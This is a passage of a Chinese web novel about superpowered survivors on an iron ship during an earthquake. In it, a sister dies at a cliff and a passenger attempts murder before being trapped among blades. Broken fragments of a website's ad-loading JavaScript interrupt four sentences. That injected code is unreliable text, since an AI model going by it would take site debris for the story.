丘莲嘴唇颤动着，她的眼里控制不住的涌上泪水。 忍了又忍，几近崩溃的丘莲被苏凤晚拉开。 “够了。” 丘莲反手抓住苏凤晚，眼光通红，手上的力气大得苏凤晚忍不住皱眉。 “你说什么，你站在她那边？你觉得她做得对吗？她在拿我们全船人的命去赌！沽拉山有什么啊，有她姐姐！只有她姐姐！所以她要把船开过去，她要救她姐姐！！那我们呢！！” 苏凤晚深呼吸一口气，仍旧没忍住将人推到船舱后面，丘莲被推得一个踉跄跌倒在地。 短发女人居高临下的看着自己，一字一句道。 “是，她去救人，等于找死，但是，你要是现在就想死，可以继续阻挠她。” 眼泪不争气地落在铁板上，她良久地沉默下去。 “抱歉。” 最终，她安静了下来。 没有人再对萧顺清的行动表示质疑。 事实上，她们少有人质疑。 救人很正常，那是萧顺清的亲人，甚至，那里还有那么多的普通幸存者。 萧顺清对陌生人冷淡，但这不代表她们心里的想法。如果能够救人，她们是愿意救的。 更何况，反抗，是最不明智的选择。 已经算得上庞大的船体，在地动山摇掀起的水面仍旧如同沧海一粟，一开始，萧顺清还能够控制住船的平稳，但随着她的心情愈发焦躁，随着地面震动带来的波浪滔天，她们再也平稳不了了。 几米高的水浪，穿过二层的窗户几欲打在头顶，萧顺清将船一层都封好，少有缝隙。 二楼的铁窗每一扇都关紧，饶是这样，巨力拍打船身的水浪仍旧没有放过船内人，水渗进来，仿佛她们已经连同整艘船沉在水底，只等着无尽的水挤进船内，将她们都淹死。 “楼下有鸭子在叫。”说话的是陈阳。 陈师望：“我去看一眼。” 但他最后也没待过久，很快就上了楼，同样枯坐。 陈阳被人搬到船中央，船内的水不多，目前身上的温度足够将其烤干，再高她就没法保持清醒了。 幸好，刚刚的地震，将她原本的睡意完全驱散，她此刻的大脑清醒得很。 船舱内很沉默，陈阳没有和其他人聊天，只是用模糊的目光看过船上的每一个人。 她们或是沉着脸，等待着接下来会发生的事，或是愁容满面，不时担忧地看向船头，亦或是，低垂着头，即使如此也遮挡不住身体内的抗拒。 仅仅七个人，便是心思各异。 她原本以为，这艘船上的伙伴是同生共死，并肩作战的求生者小队，却没想到，生死攸关面前，每个人都有不同的想法。 陈阳静静看着丘莲，丘莲感受到一直落在她身上的目光，缓缓抬起头来。 她显然是笑不出来的，但却挤出一个浅浅嗤笑，又低下头去，不看众人。 陈阳不明白，为什么她会这么看自己，正如她不明白，为什么萧顺清要去救人，丘莲会这么难以接受。 一个人在她身边坐下，是苏凤晚。 “别担心。” 陈阳诧异她会关心自己，连忙道：“不，我不是担心。” 苏凤晚勾起嘴角，这个笑容比那浅浅嗤笑友善得多。 “我说的是，不用担心船上的人，有萧顺清在，没有人能在船上生出事端。” 陈阳沉默一会儿，却又问道：“为什么不愿意呢。” 苏凤晚知道她问的是谁，却没有心思在眼前的时刻上一场人类行为剖析课。 她安抚性地压压陈阳的肩膀。 “好了，我带你回房间，后面有任何事你都不用出来不用管，船不会有任何问题，放心，这点事，萧顺清能撑得住。” 她无条件地相信萧顺清，也想说服陈阳无条件相信她。 陈阳在她温和的目光下，只能点点头。 她的确帮不上什么忙，也许再过不久，她一时失去对异能的控制，整个人升温起来失去意识，还会给大家平添麻烦。 于是她回到房间内，将房门关好，隔绝了其他人。 视线可以隔绝，声音却无法隔绝。 每一个人，都能听见水的怒吼，仿佛在宣告着它即将吞没整个世界。 山体崩裂的声 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 响，与大雨，与水浪，和间歇响起的雷声奏出这世界上最炸裂的交响乐，没有人听了会开心。 隐约中，她们还听见了，人的尖叫…… 船狠狠撞上岸边，船头嵌入泥泞土地。 船上的人一个接着一个站起来。 萧顺清也走了出来，她目光落在周莹身上。 “周莹，联系尤晴，还有，联系我姐姐。”萧顺清说完，闭了闭眼，似乎还要说些什么，却什么也说不出来，只道，“拜托了。” 周莹浑身一颤，立刻启动异能。 萧顺清少有说“拜托”二字，平日里大家一起互相联络那是因为任务，但这一次萧顺清似乎服了软。 很快，周莹面露喜色，却又很快纠结起来。 “尤晴联系上了，她在带队避难，但是，没有联系上萧丰灿。” “嗯。” 萧顺清急促点头，然后转身就冲向船外。 其他人迅速反应就要跟上，李自步幅最大，已经站在了萧顺清身后。 却被一块竖起的铁板猛地挡住，李自下意识按住上升的栅栏。 “萧顺清！你干什么！” 萧顺清回过头，没有让栅栏上升，她只是想要阻止她们跟过来而已，不是想跟李自角力。 “我自己的事，我自己去找。” 突如其来的地震不比其他时候，很危险，这些人没有必要跟着自己去冒险。 李自气极反笑：“这是要做什么，怎么，救人这么光荣的事不想让我沾边？” 萧顺清看向他，李自立刻就要从低矮栏杆那里翻出去，萧顺清下意识阻止，却被李自生生按缓了上升速度，自己一个人过来了。 栏杆消失了。 “你没必要跟过来。” 李自摸了摸自己的光头，呵呵一笑。 “我这种形象，居然还是没法让你们相信我心系世人吗？” 他单纯想要去救人，不管是谁，是不是萧顺清的姐姐，他就是想多救一个人而已。 萧顺清管不了他，抛下一句随你，转身下了船。 啪嗒，啪嗒，啪嗒…… 接连几声。 萧顺清回过头，李自，陈师望，苏凤晚，周莹，还有沈金兰……都下来了。 她深呼吸一口气，冷声质问：“你们是想送死？” 陈师望摇了摇头。 苏凤晚说：“不是送死，是救人，还有保护你。” 陈师望补充：“别忘了，你死了，我们都得玩完儿。” 萧顺清只好看向沈金兰：“奶奶，你回去。” 沈金兰攥紧了她的手：“顺清，让我去。” “奶奶！你，你下来，我会顾不上你！” 沈金兰：“顺清啊，别管奶奶，我要去找灿灿，你放心，奶奶不会出事的，就算是出事了……那也是跟你姐姐一块走了，省得你再伤心一次。” 萧顺清崩溃侧过头，她感觉到无法呼吸，沈金兰却笑了起来，专注地看着她。 “顺清，虽然你没有怨过我，但是我知道，你晓得我们偏心你姐姐，”她摸了摸萧顺清的头发，眼泪混着雨水落下，却还是笑着看她，“是，我只叫她灿灿，叫你是顺清，我的确是更喜欢她，所以，我要去找我最喜欢的孙女儿，你也不要拦着我。” 地面晃动，她们连站也站不稳。 时间紧迫。萧顺清也没有办法逼迫所有人船。 她拉住沈金兰的手，将她的手放回对方身侧。 46.悬崖 “奶奶，别丢下我一个人。” 萧顺清很平静地说完，没有等待答案，她转身向着岸上跑去，听着各种轰鸣的声音在耳边炸响。 身后有谁跟了上来，她没有管。 沈金兰是为了能够让她放心去找人，为了不拖累她说的话有些重，但是，她也的确知道，萧丰灿更受沈金兰疼爱。 也许情感的偏向是说不清的，可是萧顺清从来不抱怨，是因为萧顺清相信论迹不论心。 吃穿用度，嘘寒问暖，萧顺清没有少得到过什么，她从家人那里得到的爱并不少，甚至她可以确信，萧丰灿也同样尽力做一个好姐姐照顾她。 她阻止不了沈金兰，也没有理由阻止。 她担心沈金兰，但沈金兰也会担心生死未知的她们。 找到萧丰灿，就会有最好的结果。 雨夜，倾盆水柱。 地面在震荡，不知道是余震还是山体垮塌带来的震感。 逃亡的人群再也没有之前那统一指挥的样子，四下逃窜，更多人瘫软在地上，嚎啕大哭。 萧顺清看不清她们每个人的脸，只能从废墟中穿过，来到一个个人面前查看。 不是，不是，一个都不是…… “顺清姐！” 是周莹。 她下意识回过头，周莹匆匆跟上她的步伐。 “我联系上尤晴，要，要让她们去船上吗？” 萧顺清心中一颤，那么多的人命，好像都压在了她的身上。 这不是让她们投票的时候了。 萧顺清：“多少人？” 两秒之后，萧顺清得到了答案。 “三十多个，异能者四个……” 萧顺清算了一下，面容冷静地点头：“让她们去岸边找船，告诉尤晴，不要什么话都说。” 周莹点点头，和那边的人联系去了。 萧顺清的目光落在另一个人身上，在她身后跟着的除了周莹还有一个陈师望。 而她们两人在交谈时，陈师望并没有上前来搭话，反而自己去看那些人。 偶尔，还会被人抓住衣服求救。 很久了，萧顺清没有看见这样场面。 那么多的人，哭喊着世界的残忍，哀嚎着命运的抛弃。 没有人救她们，即使逃过了洪水，她们终究还是被困在山峰之外，那道生门永久的关闭，她们无法翻越，无法得到命运的垂青。 也许不久，水就会淹没这里，她们无处可逃，就在离生路咫尺之隔的地方。 陈师望紧紧咬着牙，将抓住自己的手指掰开，说不出话来。 地面如此震荡，这些遗落在这儿的幸存者大多是跑不动的，原本身体就弱，几乎是轻微的震动就能让她们仰面朝天或者摔进土里。 更别说，地面的震动，使得山坡上的石头滚落，有人的脑袋不幸被打中，瞬间失去生命的迹象。 萧顺清扭头去看另外一边。 这些人里多半没有她要找的人，但总要看看，以免出现意外。 没有，没有，都没有。 再近，几乎就要看见山体崩塌的地方。 “周莹，还是没有联系上吗？” 周莹抿嘴，摇摇头。 她一直在不断联系，但很遗憾，萧丰灿始终处于断联的状态。 经过升级，她的联系范围已经扩大到至少两千米范围，但凡她知道的，见到过面的，根本不可能联系不上。 她没有直言着意味着什么，因为她觉得萧顺清的表情就已经证明了她知道这是什么意思。 萧顺清表情很难看，但身形依旧□□。 “好，我去那边看看。” 萧顺清转身就走，速度极快，只是地面忽而又震荡起来，让萧顺清的脚下似乎不太稳。 周莹看着那个背影，觉得喉咙里堵了什么。 总之她也是不会说话的，以至于那种烦闷的情绪没有办法通过叫喊宣泄出去。 萧丰灿联系不上，应该是，死了。 但萧顺清依旧要继续找。 周莹想，也许这样是有用的，有可能萧丰灿只是不小心跌入水流被冲走了，冲出了她的联系范围，但是这显然昭示着另外一个坏结果。 她连忙跟上萧顺清的脚步。 其实她也是害怕的，地龙翻身的震荡，让本就泡得稀烂的公路已经裂开，脚下一深一浅，脚踝好像也扭了。 可她看着萧顺清的背影，却还是觉得自己应该待在这儿，她的异能此时起了最大的作用，一旦萧丰灿有了“信号”，那将是最好的消息。 萧顺清看过一个一个又一个，却全都不是，不是。 她手心捏得生疼，唇瓣颤抖，几近崩溃的大喊： “萧丰灿！萧丰灿！！” 雨夜里，她不断喊着那个名字，恍惚间，她想起来有关萧丰灿的一件事。 父母在外打工，两姐妹从小长在爷爷奶奶身边，自然住在农村，乡里的学校要爬山过河，对于小胳膊小腿的两姐妹来说，那是一段遥远的路。 而路上也有许多的艰难险阻。父母不在家的小孩多得是，农村地区的教育水平不够，又很多小学生和初中生都会“混社会”，每天待在神恶魔小树林里不知道做些什么。 萧顺清年纪小，不爱说话，对于所有人来说都是一个文静的小姑娘，但突出的成绩让她很惹眼。 某一天，她被路上的几个男生堵住，说些自以为潮流但不干不净的话，她不知所措，只想离开，但紧接着她就看见同样瘦弱的姐姐扔掉书包就冲了上去，跟他们打成一团。 萧丰灿的人缘从来都很好，她从小就大方外向，不管男女，她没见过讨厌萧丰灿的，老师也喜欢她，长辈也喜欢她。 她也很喜欢。 父母不在身边，在她最需要亲情的十几年里，她的家人只是爷爷奶奶和萧丰灿。 相仿的年龄，萧丰灿是她的朋友，家人，甚至充当了保护者的角色。 脑子一片混乱，萧顺清脚下踩到什么，听见清晰的咔嚓一声。 不是她踩断的，是一处突出的山崖断裂的声音。 陈师望惊慌喊道：“萧顺清！那边危险！” 大地开裂，向外突出的崖体，清晰可见的摇晃。 可是，似乎是一个很容易掉下去的地方，前方甚至有一截已经是断掉的截面。 萧顺清心砰砰跳着，总怀疑就在那儿会有她想找到的人。 她扑过去，下方，空空荡荡。 石头滚落，没入惊涛骇浪。 “你们，先走……” 萧丰灿气若游丝，温婉的脸上满是石头土块划伤的口子，面目狰狞。 她的手飘飘荡荡，已经脱臼了，她艰难的吞咽， (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 却疼得要命。 看向在上方的那个男人，她扯了扯嘴角，只觉得四肢都是疼的。 自从觉醒了治愈异能，她有多久没有感受到这种疼痛了？痛得她几乎昏厥，整个身体好似断掉的意大利面，成了三截，每一截都不属于她。 李自感受到手臂肌肉撕裂的痛苦，额头不断有水珠滑落，他分不清那其中有多少汗珠。 苏凤晚和沈金兰拼命拉着他，但她们拖不动。 苏凤晚崩溃大哭，拼命冲着山崖底下的那人嘶吼： “高嘉涛你个畜生！你把异能取消啊！会死的！！！” 萧丰灿的身下，一个年轻男人面无表情拽住她的双腿，凭借自身重力让萧丰灿感受到大腿骨都能脱臼的感觉。 高嘉涛阴沉沉地，一句话也没有说。 所有人都无能为力。 他的能力，是抑制，抑制所有范围内的异能。 萧丰灿因此不能给自己治疗，像一个普通人一样承受着腰斩的痛苦，李自本来可以将她们两人都一起拉上来，可是失去异能，他只是一个普通男人，底下有着两个成年人类，他无能为力。 萧丰灿再次痛苦叫出声。 她觉得，就这么耗下去，她迟早会死的，而且是被死亡一点一点侵蚀。 沈金兰跪在崖边，苦苦哀求： “我求你了，你就收了异能吧，不要这样，你，你也会掉下去的啊！求你了，求你了，李自会把你们都拉上来的……” 高嘉涛哈哈笑起来，那样痛快夹杂着痛苦的笑声，让所有人心头一缩一缩。 “拉上去？然后再把我扔掉？都一起死吧，萧姐姐，谢谢你来救我，但是，你怎么就是她的姐姐呢……” 高嘉涛出神的看着水面，然后再次向下拽人的大腿。 即使在风雨中，那骨头错位的声音依旧那么可怕骇人。 萧丰灿改为哀求李自：“你放手吧，不要管我，放手，你放手！” 李自的手指似乎微微张开，却只是活动一下，甚至将她往上拽了一厘米。 李自没有作声，可是，他始终没有放手。 他嘴里念叨着什么，苏凤晚听过很多遍，但依旧听不懂，只知道是道教的什么经义。 她知道自己已经泪流满面，却依旧要对底下的高嘉涛喊话。 “高嘉涛，你想要报复，至少不应该报复到萧丰灿身上！她很好，很善良，从未抛弃过任何人！高嘉涛，如果你想要报仇，你可以上来，我带你去找萧顺清！” 高嘉涛沉默着，毫无波动的异能让她们明白这是谈判失败了。 沈金兰趴在地上，试图去够萧丰灿的手。 可是她拉不住，就连李自拉住的那只手都已经软得像没有骨头。 “灿灿！灿灿！” 萧丰灿努力抬起头，痛苦席卷，却还是挤出一个笑。 “奶，奶奶，别告诉，顺清……” 她又道：“李哥，我太痛了，你放手好不好，我好像，要断了，哈。” 沈金兰哭得要断气，苏凤晚想要去找更多的人来，却不敢离开这里。 她害怕，害怕会出意外，让沈金兰和李自都死在这儿。 另一边，周莹和陈师望拉扯着萧顺清离开悬崖边，然后惊慌地喊道： “顺清姐！苏姐姐她们出事了！我也联系不上她们了！” 47.失去 山陵崩裂，海水倾倒，黑暗的天空压在人头顶，好似末日降临的景象。 置身于船上，却是另一个天地。 丘莲坐在船头，她看着那些人一个个走远，原本也想要跟下去，却忽然意识到她们并不需要她。 她们都是异能者，天然就是一队，而她无论跟上哪里，都会是拖累累赘。 或许，她还会遇见危险，她们有可能会善心大发救自己，也有可能放弃她，毕竟她只是一个普通人。 地动山摇，不是人类的血肉之躯可以抵御的。 她迟疑了，并且向后退了一步又一步。 她觉得自己被丢下的可能性很大，谁让她向前情绪崩溃的时候，竟然敢顶撞萧顺清呢。 丘莲扯起一个笑，捂了捂脸，承认自己真是没有控制好情绪。 但那些担心，那些忧虑，从来都只会累积，迟早会将心撞出一个缺口，然后山洪暴发，一发不可收拾。 丘莲想着，都冷静些吧，她现在凑上去，只会触霉头。 心虚到时候危险就不只是来自大自然，还有那些异能者了。 丘莲回到船舱内，公共区域内空无一人。 整个船内，唯二两个活人各自在不同的空间内。 丘莲心里乱糟糟的，盯着那扇推拉门，难以自制地胡思乱想。 陈阳，是一个异能者。苏醒前的陈阳，就算大家都知道她有异能，可谁也没有觉得她有多大的用处，少了一条腿，平日里一副植物人状态。 更多时候还要别人来照顾。 是个废人。 但是，今天她醒了，丘莲才意识到，异能者就是异能者，即使是最弱小的异能者，有了异能就比普通人有用，就算是身体上再多缺陷，也会比普通人晚死。 她，才是最没用的那个，一个格格不入的普通人。 陈阳没有醒之前，一切都还算过得去，她能够可她为什么要醒呢，让她忽然就意识到这一切如此不公平。 她需要找寻物资，需要做劳动，需要讨好，才能够在船上活下去，但陈阳什么都不用做，甚至，就算她躺着，昏迷着，也不会有人将她丢下。 丘莲起身，轻轻地，走到陈阳的房门前。 一门之隔，陈阳就在里面，她即使有异能，也照样是个残废，船上没有其他人，谁也发现不了。 这门，还是个推拉门。 …… 四个人，同时失去了联系。 可能是都死了，也有可能，是都出了什么事。 “就算是被水冲走了，也有个落水的地方。” 萧顺清朝着苏凤晚她们选择的方向找去，不管是被泥石埋了，还是被水冲走了，总要让她看清楚，她才能死心。 其余两人神情严肃跟在她身后。 这里她们已经找遍了，留在这儿没有意义，也许苏凤晚李自那边真的出了什么事。 …… 悬崖边上，萧丰灿感觉到自己骨头和肉好像脱离了彼此的束缚，上下的力不断拉扯，好像身上的皮变成一个面口袋，不知道从中间哪一截会断开。 被水泡过的悬崖边并不结实，她觉得自己应该庆幸，头顶的雨不断冲刷，让她还能保持清醒。 身下将她拽离生命边缘的，是一个刚刚成年的男人。 她知道她叫高嘉涛，萧顺清之前提过这个名字，但她以前不认识。没想到，他真的在自己带的队伍里，而且，因为萧顺清而对她恨之入骨。 他被萧顺清抛弃过，从船上扔下去，父母都死了，他又兜兜转转到了迁徙队里，跟着她们。 高嘉涛说，他原本是很感激她的，可她是萧顺清的姐姐，她迟早也会抛弃他，她们都是伪善的人，肆意糟践人的生命，自诩高人一等…… 刚刚她真的是想来救他吗，不过是将他当做玩具，高高在上大哥施舍，做得好像舍己为人，实际上危及自己就会毫不犹豫放弃他。 高嘉涛不断说着，萧丰灿艰难地咽下一口血水，忽然笑了。 “高嘉涛。” 高嘉涛停住了，他在等她辩解，等她求饶，等她痛陈自己罪孽深重，但他会再次告诉萧丰灿，休想得到她的原谅。 可是萧丰灿只是艰难地笑着，一向温柔的嗓音带着冰冷的恶意： “高嘉涛，你就是该死，萧顺清唯一做错的事就是没有亲自动手确保你死得不能再死，你如今这样，我也能想象到当初顺清究竟为什么要把你们扔下船，你们活该，就算再来千百次，你们也不配活着。” 高嘉涛发了疯，怒吼着让她闭嘴，同时不断向下用力，凭借着自身重量又将她往下拉了些。 可是萧丰灿偏偏不住口：“你爸妈叫什么？可惜我不知道她们的名字，不然我现在一定把她们名字跟猪狗一样连在一起，你们一家……啊！” 萧丰灿的大腿被狠狠撞在崖壁上的石头，尖锐的石头将肉割破，血腥味弥漫。 沈金兰泣不成声：“灿灿，灿灿别说了，不要再说了。” 高嘉涛出奇的愤怒，他不明白，这些人怎么有脸骂他，骂他的父母，明明是她们害死他一家的！ 萧丰灿咬着牙，被李自抓住的左手其实已经脱臼，半点动弹不得，刚刚为了救高嘉涛被倒下的大树砸断了右手，一抽一抽的疼，但她还是抬起了右手。 指尖钻进了她和李自的手心，一点一点，借着高嘉涛疯狂晃动的力气，把手剥离。 她五脏六腑都在出血，喉间都是铁锈味。 高嘉涛抱死了她，就算李自她们能够将她带上去，有高嘉涛的异能在，她也活不了了。 再这么下去，只会白白害死李自。 太可笑了，她明明是为了救人，死就死了，结果李自她们偏偏赶到了，眼下害得李自她们也走不掉不说，她还要……当着奶奶的面去死。 萧丰灿笑了笑，雨水浇落，手已经还是打滑，再也抓不牢。 “萧丰灿！你再坚持一会儿！” 李自拼尽全力，想要继续抓紧她，但是，他也使不上劲了，太重了，手上的筋好像都要被底下的人抽去，要不是苏凤晚和沈金兰努力拉扯他，他恐怕也要掉下去。 身下，大地似乎暹罗一分，萧丰灿惊得心都要跳出来。 “你们走啊！李自你松手！！奶奶，奶奶我求你，你走好不好，这里，这里要塌了！” 萧丰灿惊恐地睁大了双眼，拼命将自己的手挣脱。 不要，不要为了她死在这儿，不要这样。 “灿灿！！” “萧丰灿！” 巨石滚落，泥土翻涌，将两个坠入深渊的人长久淹没。 沈金兰几欲要扑下悬崖，可是黑夜漫漫，她甚至没有看见孙女最后的样子。 苏凤晚抹了把泪，怔怔看向自己的手。 异能恢复了，所以，一切都结束了。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 悬崖崩塌一般陷落，她将沈金兰往安全的地方带。 “跟我走！这里危险！”她又去搀扶李自，“还好吗？你手怎么样？” 李自咬紧了牙，愣是没有吭声，跌跌撞撞站起来，手上却一点力气也没有。 苏凤晚吓得迟疑，哆嗦着摸他胳膊，整个手都是黏糊糊的血液触感，好像，好像断了…… 沈金兰的哭声唤回她的神志，苏凤晚身体僵硬，目光呆滞地看着远方。 “没事的，没事的，我们去找萧顺清，我们去找治疗异能，会好的，会好的……” 她拖拽着沈金兰，搀扶着李自，一脚深一脚浅逃离崩塌之地。 周莹：“苏姐姐！终于联系上你们了！” 周莹的声音充满了惊喜，她下意识抬头看去，远处，三个影子疯了一样跑向她们这一边。 萧顺清最先出现在她们眼前。 几目相对，无言。 萧顺清声音极轻。 “还好吗？” 苏凤晚忽然瘫倒在地上，萧顺清将她接住，她嚎啕大哭起来。 “不好，一点也不好，萧顺清，我们，我们没有救下她……” 萧顺清闭上眼睛，手下收紧，几乎要将眼珠闭得生疼，才忍住眼泪。 她看向李自，李自喘着气，但他双手无力垂在身侧，即使是黑夜也能看见他身上的血色。 陈师望走到几人身侧，将李自搀扶起来，周莹则是将沈金兰的手搭在肩上。 陈师望：“走吧。” 她们该回去了。 萧顺清站起来，走出两步，又眺望远方的人。 那些，是萧丰灿曾经想救下的人。 “萧顺清。” 陈师望轻轻叫她。 萧顺清垂了垂眸，沉默无言的走向她的船。 而周莹看了看她，无声的交流流淌在她们中，周莹缓缓点点头。 六人，一个不多，一个不少，向着岸边走去。 …… 船内，陈阳诧异抬头，看着眼前人。 “你有什么事吗？” 忽而，船外的响起喧闹声，丘莲从窗户口看去，一个飞着的人影带着几十个奔跑的人跑向这里。 那个带头的人，一定是尤晴。 而她们往这边飞，显而易见，是得到了萧顺清的允许，她们也会上船。 丘莲挤进了狭小的房间，沉默的气氛让陈阳不安起来。 “你想干什么？你，你出去！” 丘莲合上门，冷冰冰地看着陈阳，捂住了她的嘴。 “看看你运气好不好吧。” 丘莲几乎是叹息着说着，然后安静等待。 陈阳缺了一条腿，根本无法反抗，惊恐地睁大双眼，她觉得丘莲疯了！她到底要做什么！ 丘莲要做什么……丘莲，只想让自己不要那么惨而已。 没有人会看见。 那些新上船的人难道不会伤害陈阳吗？很有可能啊，萧顺清不可能威慑过她们每一个人。 所以陈阳有可能是被其他人害死的，而萧顺清想要留下另外的人，难道不需要让她们付出更多的代价吗，即使那其中有异能者又怎么样，依旧会是这艘船的最底层。 没有人会接受害死自己原本船上成员的新人。 丘莲很冷静，她觉得自己就快成功了。 只要，只要有一个人先进来。 48.承载 风雨交加，尤晴心里一阵焦躁，直到看见水面那艘岿然不动的大船，她的心略微放松了些。 “继续跑，不要停下！” 团队划分并不是她能决定，跟着她逃生的人并不是跟她最亲近的那一批，处于责任心，她忍下焦躁，不断催促。 “天呐！前面有一艘船！” “真的是船，是不是国家终于来救我们了……” 地面上，她们兴高采烈欢呼，看着那艘庞然大物，心里却是安定极了，就连脚下微微晃动的地面都无法阻止她们的脚步。 尤晴拉升高度，睥睨大地，敏锐的察觉到远处的山地又开始晃动。体型巨大的物体，即使是微微移位，造成的效果也极具冲击力。 尤晴怒喝：“趴下！” 已经习惯于跟随头顶传来声音行动的众人纷纷趴下。地面的翻滚传到而来，土壤像是被翻炒的米饭，几乎将石头颠了起来。 不足一百米远的水里，水纹一层一层，忽而掀起泼天的水幕，水流打在船身外，让它也跟着摇晃起来。 船内，丘莲没预料到这突如其来的动静，她原本只是将陈阳按压住，这一下竟然让她松了手。 原本她已经有些冷静下来，但看见陈阳奋力想要拉开推拉门试图逃走时，脑子里冒出的第一个想法是，不能让她逃走。 她飞扑想要拽住陈阳的腿，却抓了个空，陈阳一个翻身让她只能按在自己缺失的那条腿上。 陈阳额头冒汗，紧张得心跳如擂鼓。 她从前因为少了一条腿遭受许多痛苦，这还是第一次因为少了一条腿而救了自己一命。 这是个地狱笑话，可她笑不出来。 丘莲显然愣了一瞬，陈阳抓紧机会连滚带爬逃出房门，脑子里急速运转，她的房间门没有上锁，但其他人的都有，眼下唯一的活路就是进入到别人的房间内躲一躲。 整个船上只有她们两个人，她知道丘莲是普通人，只要她爬进房间内，丘莲奈何不了这铁船。 但是，她真的能逃掉吗？ 丘莲就算是个普通人，她至少四肢健全，只需站起身，一步就能将她再次抓住。 陈阳扒住了一间房门，上肢用力，就快将自己拉进安全的房间，下一刻，冰凉的手攥住她的脚踝。 陈阳惊恐回头，丘莲苍白的脸没有一丝血色，面无表情的样子好似水中索人命的恶鬼。 “你要逃到哪儿去。” 丘莲拉着她向船头方向走。她想将陈阳从船头扔下去，她等不及了，那些人迟迟不上船，再等下去还不知会出多少意外。 不管陈阳怎么死，她都嫩刚找到理由，大不了，就说她坐在船头，被地震震得落了水，她没有救上来。 她退拽着陈阳，脑子里不断浮现出应该怎么杀了陈阳，应该怎么为自己脱罪，她已经失去对自己为什么要杀陈阳的最初思考，只知道执行这一执念。 她也没有注意到，原本因为地震带来的船身摇晃不知何时已经停止，船外的水依旧涛涛如旧，显然并不是船脱离了水的控制。 是萧顺清。 沈金兰晕了过去，萧顺清便沉默地背着她。 一行人回去的脚步很慢，也许不只是因为这里有伤员。 安静，死寂，浓烈的情绪被压抑在漆黑的墨夜，无人会去戳破彼此那濒临崩塌的底线。 忽然，萧顺清停下了脚步，黑沉沉的眸子酝酿着浓浓的怒火。 一点一点，愤怒充斥了她的胸腔。 这愤怒不单单是冲着一个人的，但谁让她撞到了枪口上，那些纷乱的，找不到出口的愤怒都有了宣泄的对象。 萧顺清冷笑了一声。 船上，陈阳无助地求饶。 她双手试图抓住路过的所有物体，但滑溜溜的铁船让她的幻想破灭。 “丘莲丘莲你冷静点！我们无冤无仇你不要冲动！丘莲你放过我好不好求你了……” 丘莲充耳不闻，她拽着人往外托，忽然，她拖不动了，陈阳的求饶声竟然也停止。 她惊疑回头，却看见陈阳手里正好抓住一个铁船上冒出的铁柱。 而她面前，是一道牢门一样的铁栏杆，抓着陈阳的手还在栏杆外头，陈阳正是被这铁栏卡住了脚，不再被她拉动。 突如其来的变化吓得丘莲手一松，抓住栏杆疯狂摇晃起来，陈阳趁机缩回脚，一步一步向后挪动。 过了两秒，陈阳才意识到，自己得救了。 能够在船上做出这样改变的人，除了萧顺清还有能有谁，是萧顺清回来了？ 丘莲也惊慌失措转身，船内仍旧空空荡荡，除了身后的陈阳连个鬼都没有。 但是身后冰冷的触感告诉她，这并不是错觉。 “谁，是，是谁？出来！” 丘莲的强撑并不能得到任何回应，倒是提醒了某人。 丘莲身后的圆柱型栏杆忽然变成锋利无比的刀，她正在下意识地向后退，霎时间，鲜血如注，她痛苦地惨叫起来，向前逃去。 翻过身，惊恐看向那好似刑具一样的刀锋，终于意识到这是会要了她命的武器，比刚刚陈阳还要连滚带爬的向船外逃。 下一秒却装上了另一边的刀式栏杆。 她无路可逃了。 没有人听她求饶，两个栏杆距离瞬间缩短，那速度，好像要将她活活绞杀在刀锋之间。 但幸好，并没有。 不过丘莲很快就又觉得还不如直接给她个痛快。 锋利的刀刃，不到一毫米的厚度，悬在她眼前，却忽然停住了。 她隐隐听见船一楼有人进入的声音，但她无暇顾及，现在，船上留给她活动的空间极小，只要她一动，便会碰上刀刃，血流不止。 她不明白活动的栏杆怎么忽然停了，好似机器生锈一样卡壳。 很快，她被送进一个封闭的漆黑房间，就连黑夜里些微的光也被剥夺了。 这就是一个全封闭的屋子，她一抬手，指头被划破，她才意识到，自己四周仍旧悬着那些刀，随时会要了她的命。 没有当场让丘莲死掉，不是萧顺清心软了，而是另一件事发生。 原本行走在泥路上，她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 虽然分神控制船上的变化，但这对她而言驾轻就熟并不困难，但是忽然，身体里又传来剧痛，让她猝不及防间跪倒在地上，背上的沈金兰也滑落。 萧顺清痛得要蜷缩在一起，意识到自己竟然又要升级了。 这太快了…… 好似被注入了什么催熟剂一样，比那颗老树生长得还要快，而此刻，萧顺清就承受着流窜在四肢百骸的疼痛。 苏凤晚连忙扶住她，晃动她的肩膀。 “萧顺清，你怎么了？你是不是哪里受伤了？” 萧顺清发现了，自己异能升级的时候有两种状态.痛，但是能够保留一丝清醒；不痛，便是沉入深深的潜意识中，直到升级结束她才会醒来。 而这两种升级状态的原因，她想她应该知道了。 船上增加了很多人，也许有异能者，也许有普通人，但她们都是人。 她的异能升级速度果然和船上的人有关，也许粗略换个公式，她的异能经验=船上人数x船上人异能等级。 也许有别的因素，但这两个原因一定是影响她升级速度的最大因子。船上人数增加或者船上的人异能升级，都会给她增加异能经验条。 这会儿船上忽然多出了这么人，是以前的好多倍，她不升级才怪。 但是，另一点，她升级疼痛与否，则与船上的动植物有关。 如果将船的整体生态环境视作封闭的生存载体，那么动植物和动植物形成的完整生态链是承载人类生存的条件。因为丘莲是个学地理的，她曾经了解到一个概念，叫做环境承载力。 顾名思义，这是特定区域维持相对稳定前提下，资源能够容纳的人口规模大小?。 一旦人数量过多，超过了环境承载力，“环境”，也就是她这个船的拥有者，就会在升级时感觉到疼痛。反之，人类数量少于承载力，她就能舒舒服服升级。 至此，萧顺清知道自己以后该怎么样快速升级或者让升级不再疼痛。 这些人来得时机不巧，但也正好。 她这一回的升级，一定有很大提升。 但是对丘莲的惩治被打断，她只能暂时将她关在驾驶室，并且封闭起来。不然，就刚刚那个位置，在船舱公共区域血溅当场，恐怕还是有些挑战其他人的视觉底线。 苏凤晚还在试图将她扶起，但是萧顺清尝试了两次，发现自己确实抵抗不过，便放弃了。 “没事，我只是，异能升级。” 这一回的升级可以告知，她的话也让人放下心来。 “那就先原地休息吧，这里很空旷，应该暂时不会有事。” 沈金兰也醒了过来，看起来好似又苍老了几岁，但还是撑起了防护罩以防意外发生。 